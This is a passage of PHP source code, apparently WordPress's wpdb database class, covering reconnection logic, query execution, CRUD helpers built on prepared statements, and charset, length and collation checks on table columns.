of database connection will need to be handled manually. * * @since 3.9.0 * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool|void True if the connection is up. */ public function check_connection( $allow_bail = true ) { if ( $this->use_mysqli ) { if ( ! empty( $this->dbh ) && mysqli_ping( $this->dbh ) ) { return true; } } else { if ( ! empty( $this->dbh ) && mysql_ping( $this->dbh ) ) { return true; } } $error_reporting = false; // Disable warnings, as we don't want to see a multitude of "unable to connect" messages. if ( WP_DEBUG ) { $error_reporting = error_reporting(); error_reporting( $error_reporting & ~E_WARNING ); } for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) { // On the last try, re-enable warnings. We want to see a single instance // of the "unable to connect" message on the bail() screen, if it appears. if ( $this->reconnect_retries === $tries && WP_DEBUG ) { error_reporting( $error_reporting ); } if ( $this->db_connect( false ) ) { if ( $error_reporting ) { error_reporting( $error_reporting ); } return true; } sleep( 1 ); } // If template_redirect has already happened, it's too late for wp_die()/dead_db(). // Let's just return and hope for the best. if ( did_action( 'template_redirect' ) ) { return false; } if ( ! $allow_bail ) { return false; } wp_load_translations_early(); $message = '

    ' . __( 'Error reconnecting to the database' ) . "

    \n"; $message .= '

    ' . sprintf( /* translators: %s: Database host. */ __( 'This means that the contact with the database server at %s was lost. This could mean your host’s database server is down.' ), '' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '' ) . "

    \n"; $message .= "
      \n"; $message .= '
    • ' . __( 'Are you sure the database server is running?' ) . "
    • \n"; $message .= '
    • ' . __( 'Are you sure the database server is not under particularly heavy load?' ) . "
    • \n"; $message .= "
    \n"; $message .= '

    ' . sprintf( /* translators: %s: Support forums URL. */ __( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress Support Forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . "

    \n"; // We weren't able to reconnect, so we better bail. $this->bail( $message, 'db_connect_fail' ); // Call dead_db() if bail didn't die, because this database is no more. // It has ceased to be (at least temporarily). dead_db(); } /** * Performs a database query, using current database connection. * * More information can be found on the documentation page. * * @since 0.71 * * @link https://developer.wordpress.org/reference/classes/wpdb/ * * @param string $query Database query. * @return int|bool Boolean true for CREATE, ALTER, TRUNCATE and DROP queries. Number of rows * affected/selected for all other queries. Boolean false on error. */ public function query( $query ) { if ( ! $this->ready ) { $this->check_current_query = true; return false; } /** * Filters the database query. * * Some queries are made before the plugins have been loaded, * and thus cannot be filtered with this method. * * @since 2.1.0 * * @param string $query Database query. */ $query = apply_filters( 'query', $query ); if ( ! $query ) { $this->insert_id = 0; return false; } $this->flush(); // Log how the function was called. $this->func_call = "\$db->query(\"$query\")"; // If we're writing to the database, make sure the query will write safely. if ( $this->check_current_query && ! $this->check_ascii( $query ) ) { $stripped_query = $this->strip_invalid_text_from_query( $query ); // strip_invalid_text_from_query() can perform queries, so we need // to flush again, just to make sure everything is clear. $this->flush(); if ( $stripped_query !== $query ) { $this->insert_id = 0; $this->last_query = $query; wp_load_translations_early(); $this->last_error = __( 'WordPress database error: Could not perform query because it contains invalid data.' ); return false; } } $this->check_current_query = true; // Keep track of the last query for debug. $this->last_query = $query; $this->_do_query( $query ); // Database server has gone away, try to reconnect. $mysql_errno = 0; if ( ! empty( $this->dbh ) ) { if ( $this->use_mysqli ) { if ( $this->dbh instanceof mysqli ) { $mysql_errno = mysqli_errno( $this->dbh ); } else { // $dbh is defined, but isn't a real connection. // Something has gone horribly wrong, let's try a reconnect. $mysql_errno = 2006; } } else { if ( is_resource( $this->dbh ) ) { $mysql_errno = mysql_errno( $this->dbh ); } else { $mysql_errno = 2006; } } } if ( empty( $this->dbh ) || 2006 === $mysql_errno ) { if ( $this->check_connection() ) { $this->_do_query( $query ); } else { $this->insert_id = 0; return false; } } // If there is an error then take note of it. if ( $this->use_mysqli ) { if ( $this->dbh instanceof mysqli ) { $this->last_error = mysqli_error( $this->dbh ); } else { $this->last_error = __( 'Unable to retrieve the error message from MySQL' ); } } else { if ( is_resource( $this->dbh ) ) { $this->last_error = mysql_error( $this->dbh ); } else { $this->last_error = __( 'Unable to retrieve the error message from MySQL' ); } } if ( $this->last_error ) { // Clear insert_id on a subsequent failed insert. if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) ) { $this->insert_id = 0; } $this->print_error(); return false; } if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) { $return_val = $this->result; } elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) { if ( $this->use_mysqli ) { $this->rows_affected = mysqli_affected_rows( $this->dbh ); } else { $this->rows_affected = mysql_affected_rows( $this->dbh ); } // Take note of the insert_id. if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) { if ( $this->use_mysqli ) { $this->insert_id = mysqli_insert_id( $this->dbh ); } else { $this->insert_id = mysql_insert_id( $this->dbh ); } } // Return number of rows affected. $return_val = $this->rows_affected; } else { $num_rows = 0; if ( $this->use_mysqli && $this->result instanceof mysqli_result ) { while ( $row = mysqli_fetch_object( $this->result ) ) { $this->last_result[ $num_rows ] = $row; $num_rows++; } } elseif ( is_resource( $this->result ) ) { while ( $row = mysql_fetch_object( $this->result ) ) { $this->last_result[ $num_rows ] = $row; $num_rows++; } } // Log and return the number of rows selected. $this->num_rows = $num_rows; $return_val = $num_rows; } return $return_val; } /** * Internal function to perform the mysql_query() call. * * @since 3.9.0 * * @see wpdb::query() * * @param string $query The query to run. */ private function _do_query( $query ) { if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->timer_start(); } if ( ! empty( $this->dbh ) && $this->use_mysqli ) { $this->result = mysqli_query( $this->dbh, $query ); } elseif ( ! empty( $this->dbh ) ) { $this->result = mysql_query( $query, $this->dbh ); } $this->num_queries++; if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->log_query( $query, $this->timer_stop(), $this->get_caller(), $this->time_start, array() ); } } /** * Logs query data. * * @since 5.3.0 * * @param string $query The query's SQL. * @param float $query_time Total time spent on the query, in seconds. * @param string $query_callstack Comma-separated list of the calling functions. * @param float $query_start Unix timestamp of the time at the start of the query. * @param array $query_data Custom query data. */ public function log_query( $query, $query_time, $query_callstack, $query_start, $query_data ) { /** * Filters the custom data to log alongside a query. * * Caution should be used when modifying any of this data, it is recommended that any additional * information you need to store about a query be added as a new associative array element. * * @since 5.3.0 * * @param array $query_data Custom query data. * @param string $query The query's SQL. * @param float $query_time Total time spent on the query, in seconds. * @param string $query_callstack Comma-separated list of the calling functions. * @param float $query_start Unix timestamp of the time at the start of the query. */ $query_data = apply_filters( 'log_query_custom_data', $query_data, $query, $query_time, $query_callstack, $query_start ); $this->queries[] = array( $query, $query_time, $query_callstack, $query_start, $query_data, ); } /** * Generates and returns a placeholder escape string for use in queries returned by ::prepare(). * * @since 4.8.3 * * @return string String to escape placeholders. */ public function placeholder_escape() { static $placeholder; if ( ! $placeholder ) { // If ext/hash is not present, compat.php's hash_hmac() does not support sha256. $algo = function_exists( 'hash' ) ? 'sha256' : 'sha1'; // Old WP installs may not have AUTH_SALT defined. $salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand(); $placeholder = '{' . hash_hmac( $algo, uniqid( $salt, true ), $salt ) . '}'; } /* * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything * else attached to this filter will receive the query with the placeholder string removed. */ if ( false === has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) { add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 ); } return $placeholder; } /** * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder. * * @since 4.8.3 * * @param string $query The query to escape. * @return string The query with the placeholder escape string inserted where necessary. */ public function add_placeholder_escape( $query ) { /* * To prevent returning anything that even vaguely resembles a placeholder, * we clobber every % we can find. */ return str_replace( '%', $this->placeholder_escape(), $query ); } /** * Removes the placeholder escape strings from a query. * * @since 4.8.3 * * @param string $query The query from which the placeholder will be removed. * @return string The query with the placeholder removed. */ public function remove_placeholder_escape( $query ) { return str_replace( $this->placeholder_escape(), '%', $query ); } /** * Inserts a row into the table. * * Examples: * * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * * @since 2.5.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @return int|false The number of rows inserted, or false on error. */ public function insert( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' ); } /** * Replaces a row in the table. * * Examples: * * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * * @since 3.0.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @return int|false The number of rows affected, or false on error. */ public function replace( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' ); } /** * Helper function for insert and replace. * * Runs an insert or replace query based on $type argument. * * @since 3.0.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @param string $type Optional. Type of operation. Possible values include 'INSERT' or 'REPLACE'. * Default 'INSERT'. * @return int|false The number of rows affected, or false on error. */ public function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) { $this->insert_id = 0; if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ), true ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $formats = array(); $values = array(); foreach ( $data as $value ) { if ( is_null( $value['value'] ) ) { $formats[] = 'NULL'; continue; } $formats[] = $value['format']; $values[] = $value['value']; } $fields = '`' . implode( '`, `', array_keys( $data ) ) . '`'; $formats = implode( ', ', $formats ); $sql = "$type INTO `$table` ($fields) VALUES ($formats)"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Updates a row in the table. * * Examples: * * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) ) * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) ) * * @since 2.5.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to update (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * Sending a null value will create an IS NULL comparison - the corresponding * format will be ignored in this case. * @param array|string $format Optional. An array of formats to be mapped to each of the values in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $where will be treated as strings. * @return int|false The number of rows updated, or false on error. */ public function update( $table, $data, $where, $format = null, $where_format = null ) { if ( ! is_array( $data ) || ! is_array( $where ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $fields = array(); $conditions = array(); $values = array(); foreach ( $data as $field => $value ) { if ( is_null( $value['value'] ) ) { $fields[] = "`$field` = NULL"; continue; } $fields[] = "`$field` = " . $value['format']; $values[] = $value['value']; } foreach ( $where as $field => $value ) { if ( is_null( $value['value'] ) ) { $conditions[] = "`$field` IS NULL"; continue; } $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $fields = implode( ', ', $fields ); $conditions = implode( ' AND ', $conditions ); $sql = "UPDATE `$table` SET $fields WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Deletes a row in the table. * * Examples: * * wpdb::delete( 'table', array( 'ID' => 1 ) ) * wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) ) * * @since 3.4.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * Sending a null value will create an IS NULL comparison - the corresponding * format will be ignored in this case. * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @return int|false The number of rows updated, or false on error. */ public function delete( $table, $where, $where_format = null ) { if ( ! is_array( $where ) ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $conditions = array(); $values = array(); foreach ( $where as $field => $value ) { if ( is_null( $value['value'] ) ) { $conditions[] = "`$field` IS NULL"; continue; } $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $conditions = implode( ' AND ', $conditions ); $sql = "DELETE FROM `$table` WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Processes arrays of field/value pairs and field formats. * * This is a helper method for wpdb's CRUD methods, which take field/value pairs * for inserts, updates, and where clauses. This method first pairs each value * with a format. Then it determines the charset of that field, using that * to determine if any invalid text would be stripped. If text is stripped, * then field processing is rejected and the query fails. * * @since 4.2.0 * * @param string $table Table name. * @param array $data Field/value pair. * @param mixed $format Format for each field. * @return array|false An array of fields that contain paired value and formats. * False for invalid values. */ protected function process_fields( $table, $data, $format ) { $data = $this->process_field_formats( $data, $format ); if ( false === $data ) { return false; } $data = $this->process_field_charsets( $data, $table ); if ( false === $data ) { return false; } $data = $this->process_field_lengths( $data, $table ); if ( false === $data ) { return false; } $converted_data = $this->strip_invalid_text( $data ); if ( $data !== $converted_data ) { $problem_fields = array(); foreach ( $data as $field => $value ) { if ( $value !== $converted_data[ $field ] ) { $problem_fields[] = $field; } } wp_load_translations_early(); if ( 1 === count( $problem_fields ) ) { $this->last_error = sprintf( /* translators: %s: Database field where the error occurred. */ __( 'WordPress database error: Processing the value for the following field failed: %s. The supplied value may be too long or contains invalid data.' ), reset( $problem_fields ) ); } else { $this->last_error = sprintf( /* translators: %s: Database fields where the error occurred. */ __( 'WordPress database error: Processing the values for the following fields failed: %s. The supplied values may be too long or contain invalid data.' ), implode( ', ', $problem_fields ) ); } return false; } return $data; } /** * Prepares arrays of value/format pairs as passed to wpdb CRUD methods. * * @since 4.2.0 * * @param array $data Array of fields to values. * @param mixed $format Formats to be mapped to the values in $data. * @return array Array, keyed by field names with values being an array * of 'value' and 'format' keys. */ protected function process_field_formats( $data, $format ) { $formats = (array) $format; $original_formats = $formats; foreach ( $data as $field => $value ) { $value = array( 'value' => $value, 'format' => '%s', ); if ( ! empty( $format ) ) { $value['format'] = array_shift( $formats ); if ( ! $value['format'] ) { $value['format'] = reset( $original_formats ); } } elseif ( isset( $this->field_types[ $field ] ) ) { $value['format'] = $this->field_types[ $field ]; } $data[ $field ] = $value; } return $data; } /** * Adds field charsets to field/value/format arrays generated by wpdb::process_field_formats(). * * @since 4.2.0 * * @param array $data As it comes from the wpdb::process_field_formats() method. * @param string $table Table name. * @return array|false The same array as $data with additional 'charset' keys. * False on failure. */ protected function process_field_charsets( $data, $table ) { foreach ( $data as $field => $value ) { if ( '%d' === $value['format'] || '%f' === $value['format'] ) { /* * We can skip this field if we know it isn't a string. * This checks %d/%f versus ! %s because its sprintf() could take more. */ $value['charset'] = false; } else { $value['charset'] = $this->get_col_charset( $table, $field ); if ( is_wp_error( $value['charset'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } /** * For string fields, records the maximum string length that field can safely save. * * @since 4.2.1 * * @param array $data As it comes from the wpdb::process_field_charsets() method. * @param string $table Table name. * @return array|false The same array as $data with additional 'length' keys, or false if * any of the values were too long for their corresponding field. */ protected function process_field_lengths( $data, $table ) { foreach ( $data as $field => $value ) { if ( '%d' === $value['format'] || '%f' === $value['format'] ) { /* * We can skip this field if we know it isn't a string. * This checks %d/%f versus ! %s because its sprintf() could take more. */ $value['length'] = false; } else { $value['length'] = $this->get_col_length( $table, $field ); if ( is_wp_error( $value['length'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } /** * Retrieves one variable from the database. * * Executes a SQL query and returns the value from the SQL result. * If the SQL result contains more than one column and/or more than one row, * the value in the column and row specified is returned. If $query is null, * the value in the specified column and row from the previous SQL result is returned. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query. * @param int $x Optional. Column of value to return. Indexed from 0. * @param int $y Optional. Row of value to return. Indexed from 0. * @return string|null Database query result (as string), or null on failure. */ public function get_var( $query = null, $x = 0, $y = 0 ) { $this->func_call = "\$db->get_var(\"$query\", $x, $y)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } // Extract var out of cached results based on x,y vals. if ( ! empty( $this->last_result[ $y ] ) ) { $values = array_values( get_object_vars( $this->last_result[ $y ] ) ); } // If there is a value return it, else return null. return ( isset( $values[ $x ] ) && '' !== $values[ $x ] ) ? $values[ $x ] : null; } /** * Retrieves one row from the database. * * Executes a SQL query and returns the row from the SQL result. * * @since 0.71 * * @param string|null $query SQL query. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to an stdClass object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param int $y Optional. Row to return. Indexed from 0. * @return array|object|null|void Database query result in format specified by $output or null on failure. */ public function get_row( $query = null, $output = OBJECT, $y = 0 ) { $this->func_call = "\$db->get_row(\"$query\",$output,$y)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } else { return null; } if ( ! isset( $this->last_result[ $y ] ) ) { return null; } if ( OBJECT === $output ) { return $this->last_result[ $y ] ? $this->last_result[ $y ] : null; } elseif ( ARRAY_A === $output ) { return $this->last_result[ $y ] ? get_object_vars( $this->last_result[ $y ] ) : null; } elseif ( ARRAY_N === $output ) { return $this->last_result[ $y ] ? array_values( get_object_vars( $this->last_result[ $y ] ) ) : null; } elseif ( OBJECT === strtoupper( $output ) ) { // Back compat for OBJECT being previously case-insensitive. return $this->last_result[ $y ] ? $this->last_result[ $y ] : null; } else { $this->print_error( ' $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N' ); } } /** * Retrieves one column from the database. * * Executes a SQL query and returns the column from the SQL result. * If the SQL result contains more than one column, the column specified is returned. * If $query is null, the specified column from the previous SQL result is returned. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to previous query. * @param int $x Optional. Column to return. Indexed from 0. * @return array Database query result. Array indexed from 0 by SQL result row number. */ public function get_col( $query = null, $x = 0 ) { if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } $new_array = array(); // Extract the column values. if ( $this->last_result ) { for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) { $new_array[ $i ] = $this->get_var( null, $x, $i ); } } return $new_array; } /** * Retrieves an entire SQL result set from the database (i.e., many rows). * * Executes a SQL query and returns the entire SQL result. * * @since 0.71 * * @param string $query SQL query. * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants. * With one of the first three, return an array of rows indexed * from 0 by SQL result row number. Each row is an associative array * (column => value, ...), a numerically indexed array (0 => value, ...), * or an object ( ->column = value ), respectively. With OBJECT_K, * return an associative array of row objects keyed by the value * of each row's first column's value. Duplicate keys are discarded. * @return array|object|null Database query results. */ public function get_results( $query = null, $output = OBJECT ) { $this->func_call = "\$db->get_results(\"$query\", $output)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } else { return null; } $new_array = array(); if ( OBJECT === $output ) { // Return an integer-keyed array of row objects. return $this->last_result; } elseif ( OBJECT_K === $output ) { // Return an array of row objects with keys from column 1. // (Duplicates are discarded.) if ( $this->last_result ) { foreach ( $this->last_result as $row ) { $var_by_ref = get_object_vars( $row ); $key = array_shift( $var_by_ref ); if ( ! isset( $new_array[ $key ] ) ) { $new_array[ $key ] = $row; } } } return $new_array; } elseif ( ARRAY_A === $output || ARRAY_N === $output ) { // Return an integer-keyed array of... if ( $this->last_result ) { foreach ( (array) $this->last_result as $row ) { if ( ARRAY_N === $output ) { // ...integer-keyed row arrays. $new_array[] = array_values( get_object_vars( $row ) ); } else { // ...column name-keyed row arrays. $new_array[] = get_object_vars( $row ); } } } return $new_array; } elseif ( strtoupper( $output ) === OBJECT ) { // Back compat for OBJECT being previously case-insensitive. return $this->last_result; } return null; } /** * Retrieves the character set for the given table. * * @since 4.2.0 * * @param string $table Table name. * @return string|WP_Error Table character set, WP_Error object if it couldn't be found. */ protected function get_table_charset( $table ) { $tablekey = strtolower( $table ); /** * Filters the table charset value before the DB is checked. * * Returning a non-null value from the filter will effectively short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string|WP_Error|null $charset The character set to use, WP_Error object * if it couldn't be found. Default null. * @param string $table The name of the table being checked. */ $charset = apply_filters( 'pre_get_table_charset', null, $table ); if ( null !== $charset ) { return $charset; } if ( isset( $this->table_charset[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } $charsets = array(); $columns = array(); $table_parts = explode( '.', $table ); $table = '`' . implode( '`.`', $table_parts ) . '`'; $results = $this->get_results( "SHOW FULL COLUMNS FROM $table" ); if ( ! $results ) { return new WP_Error( 'wpdb_get_table_charset_failure', __( 'Could not retrieve table charset.' ) ); } foreach ( $results as $column ) { $columns[ strtolower( $column->Field ) ] = $column; } $this->col_meta[ $tablekey ] = $columns; foreach ( $columns as $column ) { if ( ! empty( $column->Collation ) ) { list( $charset ) = explode( '_', $column->Collation ); // If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters. if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) { $charset = 'utf8'; } $charsets[ strtolower( $charset ) ] = true; } list( $type ) = explode( '(', $column->Type ); // A binary/blob means the whole query gets treated like this. if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ), true ) ) { $this->table_charset[ $tablekey ] = 'binary'; return 'binary'; } } // utf8mb3 is an alias for utf8. if ( isset( $charsets['utf8mb3'] ) ) { $charsets['utf8'] = true; unset( $charsets['utf8mb3'] ); } // Check if we have more than one charset in play. $count = count( $charsets ); if ( 1 === $count ) { $charset = key( $charsets ); } elseif ( 0 === $count ) { // No charsets, assume this table can store whatever. $charset = false; } else { // More than one charset. Remove latin1 if present and recalculate. unset( $charsets['latin1'] ); $count = count( $charsets ); if ( 1 === $count ) { // Only one charset (besides latin1). $charset = key( $charsets ); } elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) { // Two charsets, but they're utf8 and utf8mb4, use utf8. $charset = 'utf8'; } else { // Two mixed character sets. ascii. $charset = 'ascii'; } } $this->table_charset[ $tablekey ] = $charset; return $charset; } /** * Retrieves the character set for the given column. * * @since 4.2.0 * * @param string $table Table name. * @param string $column Column name. * @return string|false|WP_Error Column character set as a string. False if the column has * no character set. WP_Error object if there was an error. */ public function get_col_charset( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); /** * Filters the column charset value before the DB is checked. * * Passing a non-null value to the filter will short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string|null $charset The character set to use. Default null. * @param string $table The name of the table being checked. * @param string $column The name of the column being checked. */ $charset = apply_filters( 'pre_get_col_charset', null, $table, $column ); if ( null !== $charset ) { return $charset; } // Skip this entirely if this isn't a MySQL database. if ( empty( $this->is_mysql ) ) { return false; } if ( empty( $this->table_charset[ $tablekey ] ) ) { // This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } // If still no column information, return the table charset. if ( empty( $this->col_meta[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } // If this column doesn't exist, return the table charset. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return $this->table_charset[ $tablekey ]; } // Return false when it's not a string column. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) { return false; } list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation ); return $charset; } /** * Retrieves the maximum string length allowed in a given column. * * The length may either be specified as a byte length or a character length. * * @since 4.2.1 * * @param string $table Table name. * @param string $column Column name. * @return array|false|WP_Error { * Array of column length information, false if the column has no length (for * example, numeric column), WP_Error object if there was an error. * * @type int $length The column length. * @type string $type One of 'byte' or 'char'. */ public function get_col_length( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); // Skip this entirely if this isn't a MySQL database. if ( empty( $this->is_mysql ) ) { return false; } if ( empty( $this->col_meta[ $tablekey ] ) ) { // This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return false; } $typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type ); $type = strtolower( $typeinfo[0] ); if ( ! empty( $typeinfo[1] ) ) { $length = trim( $typeinfo[1], ')' ); } else { $length = false; } switch ( $type ) { case 'char': case 'varchar': return array( 'type' => 'char', 'length' => (int) $length, ); case 'binary': case 'varbinary': return array( 'type' => 'byte', 'length' => (int) $length, ); case 'tinyblob': case 'tinytext': return array( 'type' => 'byte', 'length' => 255, // 2^8 - 1 ); case 'blob': case 'text': return array( 'type' => 'byte', 'length' => 65535, // 2^16 - 1 ); case 'mediumblob': case 'mediumtext': return array( 'type' => 'byte', 'length' => 16777215, // 2^24 - 1 ); case 'longblob': case 'longtext': return array( 'type' => 'byte', 'length' => 4294967295, // 2^32 - 1 ); default: return false; } } /** * Checks if a string is ASCII. * * The negative regex is faster for non-ASCII strings, as it allows * the search to finish as soon as it encounters a non-ASCII character. * * @since 4.2.0 * * @param string $string String to check. * @return bool True if ASCII, false if not. */ protected function check_ascii( $string ) { if ( function_exists( 'mb_check_encoding' ) ) { if ( mb_check_encoding( $string, 'ASCII' ) ) { return true; } } elseif ( ! preg_match( '/[^\x00-\x7F]/', $string ) ) { return true; } return false; } /** * Checks if the query is accessing a collation considered safe on the current version of MySQL. * * @since 4.2.0 * * @param string $query The query to check. * @return bool True if the collation is safe, false if it isn't. */ protected function check_safe_collation( $query ) { if ( $this->checking_collation ) { return true; } // We don't need to check the collation for queries that don't read data. $query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) { return true; } // All-ASCII queries don't need extra checking. if ( $this->check_ascii( $query ) ) { return true; } $table = $this->get_table_from_query( $query ); if ( ! $table ) { return false; } $this->checking_collation = true; $collation = $this->get_table_charset( $table ); $this->checking_collation = false; // Tables with no collation, or latin1 only, don't need extra checking. if ( false === $collation || 'latin1' === $collation ) { return true; } $table = strtolower( $table ); if ( empty( $this->col_meta[ $table ] ) ) { return false; } // If any of the columns don't have one of these collations, it needs more sanity checking. foreach ( $this->col_meta[ $table ] as $col ) { if ( empty( $col->Collation ) ) { continue; } if ( ! in_array( $col->Collation, array( 'utf8_general_ci', 'utf8_bin', 'utf8mb4_general_ci', 'utf8mb4_bin' ), true ) ) { return false; } } return true; } /** * Strips any invalid characters based on value/charset pairs. * * @since 4.2.0 * * @param array $data Array of value arrays. Each value array has the keys 'value' and 'charset'. * An optional 'ascii' key can be set to false to avoid redundant ASCII checks. * @return array|WP_Error The $data parameter, with invalid characters removed from each value. * This works as a passthrough: any additional keys such as 'field' are * retained in each value array. If we cannot remove invalid characters, * a WP_Error object is returned. */ protected function strip_invalid_text( $data ) { $db_check_string = false; foreach ( $data as &$value ) { $charset = $value['charset']; if ( is_array( $value['length'] ) ) { $length = $value['length']['length']; $truncate_by_byte_length = 'byte' === $value['length']['type']; } else { $length = false; // Since we have no length, we'll never truncate. Initialize the variable to false. // True would take us through an unnecessary (for this case) codepath below. $truncate_by_byte_length 